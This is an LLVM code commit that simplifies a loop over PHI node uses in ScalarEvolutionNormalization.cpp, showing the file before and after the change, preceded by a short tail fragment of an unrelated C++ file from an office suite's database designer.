        DBG_DTOR(OTableConnection,NULL);
    }
    // -----------------------------------------------------------------------------
    sal_Bool OConnectionLineAccess::isEditable() const
    {
        return m_pLine ? !m_pLine->GetParent()->getDesignView()->getController()->isReadOnly() : sal_False;
    }
    // -----------------------------------------------------------------------------
}
// -----------------------------------------------------------------------------

<|endoftext|>


<commit_before>//===- ScalarEvolutionNormalization.cpp - See below -------------*- C++ -*-===//
//
//                     The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements utilities for working with "normalized" expressions.
// See the comments at the top of ScalarEvolutionNormalization.h for details.
//
//===----------------------------------------------------------------------===//

#include "llvm/Analysis/Dominators.h"
#include "llvm/Analysis/LoopInfo.h"
#include "llvm/Analysis/ScalarEvolutionExpressions.h"
#include "llvm/Analysis/ScalarEvolutionNormalization.h"
using namespace llvm;

/// IVUseShouldUsePostIncValue - We have discovered a "User" of an IV expression
/// and now we need to decide whether the user should use the preinc or post-inc
/// value.  If this user should use the post-inc version of the IV, return true.
///
/// Choosing wrong here can break dominance properties (if we choose to use the
/// post-inc value when we cannot) or it can end up adding extra live-ranges to
/// the loop, resulting in reg-reg copies (if we use the pre-inc value when we
/// should use the post-inc value).
static bool IVUseShouldUsePostIncValue(Instruction *User, Instruction *IV,
                                       const Loop *L, DominatorTree *DT) {
  // If the user is in the loop, use the preinc value.
  if (L->contains(User)) return false;

  BasicBlock *LatchBlock = L->getLoopLatch();
  if (!LatchBlock)
    return false;

  // Ok, the user is outside of the loop.  If it is dominated by the latch
  // block, use the post-inc value.
  if (DT->dominates(LatchBlock, User->getParent()))
    return true;

  // There is one case we have to be careful of: PHI nodes.  These little guys
  // can live in blocks that are not dominated by the latch block, but (since
  // their uses occur in the predecessor block, not the block the PHI lives in)
  // should still use the post-inc value.  Check for this case now.
  PHINode *PN = dyn_cast<PHINode>(User);
  if (!PN) return false;  // not a phi, not dominated by latch block.

  // Look at all of the uses of IV by the PHI node.  If any use corresponds to
  // a block that is not dominated by the latch block, give up and use the
  // preincremented value.
  unsigned NumUses = 0;
  for (unsigned i = 0, e = PN->getNumIncomingValues(); i != e; ++i)
    if (PN->getIncomingValue(i) == IV) {
      ++NumUses;
      if (!DT->dominates(LatchBlock, PN->getIncomingBlock(i)))
        return false;
    }

  // Okay, all uses of IV by PN are in predecessor blocks that really are
  // dominated by the latch block.  Use the post-incremented value.
  return true;
}

const SCEV *llvm::TransformForPostIncUse(TransformKind Kind,
                                         const SCEV *S,
                                         Instruction *User,
                                         Value *OperandValToReplace,
                                         PostIncLoopSet &Loops,
                                         ScalarEvolution &SE,
                                         DominatorTree &DT) {
  if (isa<SCEVConstant>(S) || isa<SCEVUnknown>(S))
    return S;
  if (const SCEVCastExpr *X = dyn_cast<SCEVCastExpr>(S)) {
    const SCEV *O = X->getOperand();
    const SCEV *N = TransformForPostIncUse(Kind, O, User, OperandValToReplace,
                                           Loops, SE, DT);
    if (O != N)
      switch (S->getSCEVType()) {
      case scZeroExtend: return SE.getZeroExtendExpr(N, S->getType());
      case scSignExtend: return SE.getSignExtendExpr(N, S->getType());
      case scTruncate: return SE.getTruncateExpr(N, S->getType());
      default: llvm_unreachable("Unexpected SCEVCastExpr kind!");
      }
    return S;
  }
  if (const SCEVNAryExpr *X = dyn_cast<SCEVNAryExpr>(S)) {
    SmallVector<const SCEV *, 8> Operands;
    bool Changed = false;
    for (SCEVNAryExpr::op_iterator I = X->op_begin(), E = X->op_end();
         I != E; ++I) {
      const SCEV *O = *I;
      const SCEV *N = TransformForPostIncUse(Kind, O, User, OperandValToReplace,
                                             Loops, SE, DT);
      Changed |= N != O;
      Operands.push_back(N);
    }
    if (const SCEVAddRecExpr *AR = dyn_cast<SCEVAddRecExpr>(S)) {
      // An addrec. This is the interesting part.
      const Loop *L = AR->getLoop();
      const SCEV *Result = SE.getAddRecExpr(Operands, L);
      switch (Kind) {
      default: llvm_unreachable("Unexpected transform name!");
      case NormalizeAutodetect:
        if (Instruction *OI = dyn_cast<Instruction>(OperandValToReplace))
          if (IVUseShouldUsePostIncValue(User, OI, L, &DT)) {
            const SCEV *TransformedStep =
              TransformForPostIncUse(Kind, AR->getStepRecurrence(SE),
                                     User, OperandValToReplace, Loops, SE, DT);
            Result = SE.getMinusSCEV(Result, TransformedStep);
            Loops.insert(L);
          }
        break;
      case Normalize:
        if (Loops.count(L)) {
          const SCEV *TransformedStep =
            TransformForPostIncUse(Kind, AR->getStepRecurrence(SE),
                                   User, OperandValToReplace, Loops, SE, DT);
          Result = SE.getMinusSCEV(Result, TransformedStep);
        }
        break;
      case Denormalize:
        if (Loops.count(L))
          Result = SE.getAddExpr(Result, AR->getStepRecurrence(SE));
        break;
      }
      return Result;
    }
    if (Changed)
      switch (S->getSCEVType()) {
      case scAddExpr: return SE.getAddExpr(Operands);
      case scMulExpr: return SE.getMulExpr(Operands);
      case scSMaxExpr: return SE.getSMaxExpr(Operands);
      case scUMaxExpr: return SE.getUMaxExpr(Operands);
      default: llvm_unreachable("Unexpected SCEVNAryExpr kind!");
      }
    return S;
  }
  if (const SCEVUDivExpr *X = dyn_cast<SCEVUDivExpr>(S)) {
    const SCEV *LO = X->getLHS();
    const SCEV *RO = X->getRHS();
    const SCEV *LN = TransformForPostIncUse(Kind, LO, User, OperandValToReplace,
                                            Loops, SE, DT);
    const SCEV *RN = TransformForPostIncUse(Kind, RO, User, OperandValToReplace,
                                            Loops, SE, DT);
    if (LO != LN || RO != RN)
      return SE.getUDivExpr(LN, RN);
    return S;
  }
  llvm_unreachable("Unexpected SCEV kind!");
  return 0;
}
<commit_msg>Minor code simplification.<commit_after>//===- ScalarEvolutionNormalization.cpp - See below -------------*- C++ -*-===//
//
//                     The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements utilities for working with "normalized" expressions.
// See the comments at the top of ScalarEvolutionNormalization.h for details.
//
//===----------------------------------------------------------------------===//

#include "llvm/Analysis/Dominators.h"
#include "llvm/Analysis/LoopInfo.h"
#include "llvm/Analysis/ScalarEvolutionExpressions.h"
#include "llvm/Analysis/ScalarEvolutionNormalization.h"
using namespace llvm;

/// IVUseShouldUsePostIncValue - We have discovered a "User" of an IV expression
/// and now we need to decide whether the user should use the preinc or post-inc
/// value.  If this user should use the post-inc version of the IV, return true.
///
/// Choosing wrong here can break dominance properties (if we choose to use the
/// post-inc value when we cannot) or it can end up adding extra live-ranges to
/// the loop, resulting in reg-reg copies (if we use the pre-inc value when we
/// should use the post-inc value).
static bool IVUseShouldUsePostIncValue(Instruction *User, Instruction *IV,
                                       const Loop *L, DominatorTree *DT) {
  // If the user is in the loop, use the preinc value.
  if (L->contains(User)) return false;

  BasicBlock *LatchBlock = L->getLoopLatch();
  if (!LatchBlock)
    return false;

  // Ok, the user is outside of the loop.  If it is dominated by the latch
  // block, use the post-inc value.
  if (DT->dominates(LatchBlock, User->getParent()))
    return true;

  // There is one case we have to be careful of: PHI nodes.  These little guys
  // can live in blocks that are not dominated by the latch block, but (since
  // their uses occur in the predecessor block, not the block the PHI lives in)
  // should still use the post-inc value.  Check for this case now.
  PHINode *PN = dyn_cast<PHINode>(User);
  if (!PN) return false;  // not a phi, not dominated by latch block.

  // Look at all of the uses of IV by the PHI node.  If any use corresponds to
  // a block that is not dominated by the latch block, give up and use the
  // preincremented value.
  for (unsigned i = 0, e = PN->getNumIncomingValues(); i != e; ++i)
    if (PN->getIncomingValue(i) == IV &&
        !DT->dominates(LatchBlock, PN->getIncomingBlock(i)))
      return false;

  // Okay, all uses of IV by PN are in predecessor blocks that really are
  // dominated by the latch block.  Use the post-incremented value.
  return true;
}

const SCEV *llvm::TransformForPostIncUse(TransformKind Kind,
                                         const SCEV *S,
                                         Instruction *User,
                                         Value *OperandValToReplace,
                                         PostIncLoopSet &Loops,
                                         ScalarEvolution &SE,
                                         DominatorTree &DT) {
  if (isa<SCEVConstant>(S) || isa<SCEVUnknown>(S))
    return S;
  if (const SCEVCastExpr *X = dyn_cast<SCEVCastExpr>(S)) {
    const SCEV *O = X->getOperand();
    const SCEV *N = TransformForPostIncUse(Kind, O, User, OperandValToReplace,
                                           Loops, SE, DT);
    if (O != N)
      switch (S->getSCEVType()) {
      case scZeroExtend: return SE.getZeroExtendExpr(N, S->getType());
      case scSignExtend: return SE.getSignExtendExpr(N, S->getType());
      case scTruncate: return SE.getTruncateExpr(N, S->getType());
      default: llvm_unreachable("Unexpected SCEVCastExpr kind!");
      }
    return S;
  }
  if (const SCEVNAryExpr *X = dyn_cast<SCEVNAryExpr>(S)) {
    SmallVector<const SCEV *, 8> Operands;
    bool Changed = false;
    for (SCEVNAryExpr::op_iterator I = X->op_begin(), E = X->op_end();
         I != E; ++I) {
      const SCEV *O = *I;
      const SCEV *N = TransformForPostIncUse(Kind, O, User, OperandValToReplace,
                                             Loops, SE, DT);
      Changed |= N != O;
      Operands.push_back(N);
    }
    if (const SCEVAddRecExpr *AR = dyn_cast<SCEVAddRecExpr>(S)) {
      // An addrec. This is the interesting part.
      const Loop *L = AR->getLoop();
      const SCEV *Result = SE.getAddRecExpr(Operands, L);
      switch (Kind) {
      default: llvm_unreachable("Unexpected transform name!");
      case NormalizeAutodetect:
        if (Instruction *OI = dyn_cast<Instruction>(OperandValToReplace))
          if (IVUseShouldUsePostIncValue(User, OI, L, &DT)) {
            const SCEV *TransformedStep =
              TransformForPostIncUse(Kind, AR->getStepRecurrence(SE),
                                     User, OperandValToReplace, Loops, SE, DT);
            Result = SE.getMinusSCEV(Result, TransformedStep);
            Loops.insert(L);
          }
        break;
      case Normalize:
        if (Loops.count(L)) {
          const SCEV *TransformedStep =
            TransformForPostIncUse(Kind, AR->getStepRecurrence(SE),
                                   User, OperandValToReplace, Loops, SE, DT);
          Result = SE.getMinusSCEV(Result, TransformedStep);
        }
        break;
      case Denormalize:
        if (Loops.count(L))
          Result = SE.getAddExpr(Result, AR->getStepRecurrence(SE));
        break;
      }
      return Result;
    }
    if (Changed)
      switch (S->getSCEVType()) {
      case scAddExpr: return SE.getAddExpr(Operands);
      case scMulExpr: return SE.getMulExpr(Operands);
      case scSMaxExpr: return SE.getSMaxExpr(Operands);
      case scUMaxExpr: return SE.getUMaxExpr(Operands);
      default: llvm_unreachable("Unexpected SCEVNAryExpr kind!");
      }
    return S;
  }
  if (const SCEVUDivExpr *X = dyn_cast<SCEVUDivExpr>(S)) {
    const SCEV *LO = X->getLHS();
    const SCEV *RO = X->getRHS();
    const SCEV *LN = TransformForPostIncUse(Kind, LO, User, OperandValToReplace,
                                            Loops, SE, DT);
    const SCEV *RN = TransformForPostIncUse(Kind, RO, User, OperandValToReplace,
                                            Loops, SE, DT);
    if (LO != LN || RO != RN)
      return SE.getUDivExpr(LN, RN);
    return S;
  }
  llvm_unreachable("Unexpected SCEV kind!");
  return 0;
}
<|endoftext|>